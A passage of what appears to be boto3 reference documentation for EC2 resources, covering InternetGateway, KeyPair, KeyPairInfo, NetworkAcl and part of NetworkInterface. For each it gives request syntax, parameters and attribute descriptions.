delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteInternetGateway) + +**Request Syntax** + +response = internet_gateway.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +detach_from_vpc(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = internet_gateway.detach_from_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.reload() + +Returns + +None + +[KeyPair](#id1242) +------------------------------------------------------------ + +_class_ EC2.KeyPair(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPair: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPair.name "EC2.KeyPair.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPair.key_fingerprint "EC2.KeyPair.key_fingerprint") +- [key_material](#EC2.KeyPair.key_material "EC2.KeyPair.key_material") +- [key_name](#EC2.KeyPair.key_name "EC2.KeyPair.key_name") +- [key_pair_id](#EC2.KeyPair.key_pair_id "EC2.KeyPair.key_pair_id") +- [tags](#EC2.KeyPair.tags "EC2.KeyPair.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPair.delete "EC2.KeyPair.delete") +- [get_available_subresources()](#EC2.KeyPair.get_available_subresources "EC2.KeyPair.get_available_subresources") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPair's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + The SHA-1 digest of the DER encoded private key. + + +key_material + +- _(string) --_ + + An unencrypted PEM encoded RSA private key. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +[KeyPairInfo](#id1243) +-------------------------------------------------------------------- + +_class_ EC2.KeyPairInfo(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPairInfo: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair_info = ec2.KeyPairInfo('name') + +Parameters + +**name** (_string_) -- The KeyPairInfo's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPairInfo.name "EC2.KeyPairInfo.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPairInfo.key_fingerprint "EC2.KeyPairInfo.key_fingerprint") +- [key_name](#EC2.KeyPairInfo.key_name "EC2.KeyPairInfo.key_name") +- [key_pair_id](#EC2.KeyPairInfo.key_pair_id "EC2.KeyPairInfo.key_pair_id") +- [tags](#EC2.KeyPairInfo.tags "EC2.KeyPairInfo.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPairInfo.delete "EC2.KeyPairInfo.delete") +- [get_available_subresources()](#EC2.KeyPairInfo.get_available_subresources "EC2.KeyPairInfo.get_available_subresources") +- [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") +- [reload()](#EC2.KeyPairInfo.reload "EC2.KeyPairInfo.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPairInfo's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + If you used CreateKeyPair to create the key pair, this is the SHA-1 digest of the DER encoded private key. If you used ImportKeyPair to provide AWS the public key, this is the MD5 public key fingerprint as specified in section 4 of RFC4716. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair_info.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.reload() + +Returns + +None + +[NetworkAcl](#id1244) +------------------------------------------------------------------ + +_class_ EC2.NetworkAcl(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkAcl: + +import boto3 + +ec2 = boto3.resource('ec2') +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkAcl.id "EC2.NetworkAcl.id") + +These are the resource's available attributes: + +- [associations](#EC2.NetworkAcl.associations "EC2.NetworkAcl.associations") +- [entries](#EC2.NetworkAcl.entries "EC2.NetworkAcl.entries") +- [is_default](#EC2.NetworkAcl.is_default "EC2.NetworkAcl.is_default") +- [network_acl_id](#EC2.NetworkAcl.network_acl_id "EC2.NetworkAcl.network_acl_id") +- [owner_id](#EC2.NetworkAcl.owner_id "EC2.NetworkAcl.owner_id") +- [tags](#EC2.NetworkAcl.tags "EC2.NetworkAcl.tags") +- [vpc_id](#EC2.NetworkAcl.vpc_id "EC2.NetworkAcl.vpc_id") + +These are the resource's available references: + +- [vpc](#EC2.NetworkAcl.vpc "EC2.NetworkAcl.vpc") + +These are the resource's available actions: + +- [create_entry()](#EC2.NetworkAcl.create_entry "EC2.NetworkAcl.create_entry") +- [create_tags()](#EC2.NetworkAcl.create_tags "EC2.NetworkAcl.create_tags") +- [delete()](#EC2.NetworkAcl.delete "EC2.NetworkAcl.delete") +- [delete_entry()](#EC2.NetworkAcl.delete_entry "EC2.NetworkAcl.delete_entry") +- [get_available_subresources()](#EC2.NetworkAcl.get_available_subresources "EC2.NetworkAcl.get_available_subresources") +- [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") +- [reload()](#EC2.NetworkAcl.reload "EC2.NetworkAcl.reload") +- [replace_association()](#EC2.NetworkAcl.replace_association "EC2.NetworkAcl.replace_association") +- [replace_entry()](#EC2.NetworkAcl.replace_entry "EC2.NetworkAcl.replace_entry") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkAcl's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations + +- _(list) --_ + + Any associations between the network ACL and one or more subnets + + - _(dict) --_ + + Describes an association between a network ACL and a subnet. + + - **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + +entries + +- _(list) --_ + + One or more entries (rules) in the network ACL. + + - _(dict) --_ + + Describes an entry in a network ACL. + + - **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + - **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + - **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + +is_default + +- _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + +network_acl_id + +- _(string) --_ + + The ID of the network ACL. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +tags + +- _(list) --_ + + Any tags assigned to the network ACL. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC for the network ACL. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_entry(kwargs_) + +Creates an entry (a rule) in a network ACL with the specified rule number. Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. Each network ACL has a set of ingress rules and a separate set of egress rules. + +We recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). This makes it easier to add a rule between existing ones without having to renumber the rules. + +After you add an entry, you can't modify it; you must either replace it, or create an entry and delete the old one. + +For more information about network ACLs, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAclEntry) + +**Request Syntax** + +response = network_acl.create_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + + Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_acl.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network ACL. You can't delete the ACL if it's associated with any subnets. You can't delete the default network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAcl) + +**Request Syntax** + +response = network_acl.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +delete_entry(kwargs_) + +Deletes the specified ingress or egress entry (rule) from the specified network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAclEntry) + +**Request Syntax** + +response = network_acl.delete_entry( + DryRun=True|False, + Egress=True|False, + RuleNumber=123 +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the rule is an egress rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to delete. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.reload() + +Returns + +None + +replace_association(kwargs_) + +Changes which network ACL a subnet is associated with. By default when you create a subnet, it's automatically associated with the default network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +This is an idempotent operation. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclAssociation) + +**Request Syntax** + +response = network_acl.replace_association( + AssociationId='string', + DryRun=True|False, + +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the current association between the original network ACL and the subnet. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **NewAssociationId** _(string) --_ + + The ID of the new association. + + +replace_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclEntry) + +**Request Syntax** + +response = network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to replace the egress rule. + + Default: If no value is specified, we replace the ingress rule. + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:bd8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to replace. + + +Returns + +None + +[NetworkInterface](#id1245) +------------------------------------------------------------------------------ + +_class_ EC2.NetworkInterface(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterface: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterface.id "EC2.NetworkInterface.id") + +These are the resource's available attributes: + +- [association_attribute](#EC2.NetworkInterface.association_attribute "EC2.NetworkInterface.association_attribute") +- [attachment](#EC2.NetworkInterface.attachment "EC2.NetworkInterface.attachment") +- [availability_zone](#EC2.NetworkInterface.availability_zone "EC2.NetworkInterface.availability_zone") +- [description](#EC2.NetworkInterface.description "EC2.NetworkInterface.description") +- [groups](#EC2.NetworkInterface.groups "EC2.NetworkInterface.groups") +- [interface_type](#EC2.NetworkInterface.interface_type "EC2.NetworkInterface.interface_type") +- [ipv6_addresses](#EC2.NetworkInterface.ipv6_addresses "EC2.NetworkInterface.ipv6_addresses") +- [mac_address](#EC2.NetworkInterface.mac_address "EC2.NetworkInterface.mac_address") +- [network_interface_id](#EC2.NetworkInterface.network_interface_id "EC2.NetworkInterface.network_interface_id") +- [outpost_arn](#EC2.NetworkInterface.outpost_arn "EC2.NetworkInterface.outpost_arn") +- [owner_id](#EC2.NetworkInterface.owner_id "EC2.NetworkInterface.owner_id") +- [private_dns_name](#EC2.NetworkInterface.private_dns_name "EC2.NetworkInterface.private_dns_name") +- [private_ip_address](#EC2.NetworkInterface.private_ip_address "EC2.NetworkInterface.private_ip_address") +- [private_ip_addresses](#EC2.NetworkInterface.private_ip_addresses "EC2.NetworkInterface.private_ip_addresses") +- [requester_id](#EC2.NetworkInterface.requester_id "EC2.NetworkInterface.requester_id") +- [requester_managed](#EC2.NetworkInterface.requester_managed "EC2.NetworkInterface.requester_managed") +- [source_dest_check](#EC2.NetworkInterface.source_dest_check "EC2.NetworkInterface.source_dest_check") +- [status](#EC2.NetworkInterface.status "EC2.NetworkInterface.status") +- [subnet_id](#EC2.NetworkInterface.subnet_id "EC2.NetworkInterface.subnet_id") +- [tag_set](#EC2.NetworkInterface.tag_set "EC2.NetworkInterface.tag_set") +- [vpc_id](#EC2.NetworkInterface.vpc_id "EC2.NetworkInterface.vpc_id") + +These are the resource's available references: + +- [association](#EC2.NetworkInterface.association "EC2.NetworkInterface.association") +- [subnet](#EC2.NetworkInterface.subnet "EC2.NetworkInterface.subnet") +- [vpc](#EC2.NetworkInterface.vpc "EC2.NetworkInterface.vpc") + +These are the resource's available actions: + +- [assign_private_ip_addresses()](#EC2.NetworkInterface.assign_private_ip_addresses "EC2.NetworkInterface.assign_private_ip_addresses") +- [attach()](#EC2.NetworkInterface.attach "EC2.NetworkInterface.attach") +- [create_tags()](#EC2.NetworkInterface.create_tags "EC2.NetworkInterface.create_tags") +- [delete()](#EC2.NetworkInterface.delete "EC2.NetworkInterface.delete") +- [describe_attribute()](#EC2.NetworkInterface.describe_attribute "EC2.NetworkInterface.describe_attribute") +- [detach()](#EC2.NetworkInterface.detach "EC2.NetworkInterface.detach") +- [get_available_subresources()](#EC2.NetworkInterface.get_available_subresources "EC2.NetworkInterface.get_available_subresources") +- [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") +- [modify_attribute()](#EC2.NetworkInterface.modify_attribute "EC2.NetworkInterface.modify_attribute") +- [reload()](#EC2.NetworkInterface.reload "EC2.NetworkInterface.reload") +- [reset_attribute()](#EC2.NetworkInterface.reset_attribute "EC2.NetworkInterface.reset_attribute") +- [unassign_private_ip_addresses()](#EC2.NetworkInterface.unassign_private_ip_addresses "EC2.NetworkInterface.unassign_private_ip_addresses") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterface's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_attribute + +- _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + +attachment + +- _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + +availability_zone + +- _(string) --_ + + The Availability Zone. + + +description + +- _(string) --_ + + A description. + + +groups + +- _(list) --_ + + Any security groups for the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +interface_type + +- _(string) --_ + + The type of network interface. + + +ipv6_addresses + +- _(list) --_ + + The IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + - **Ipv6Address** _(string) --_ 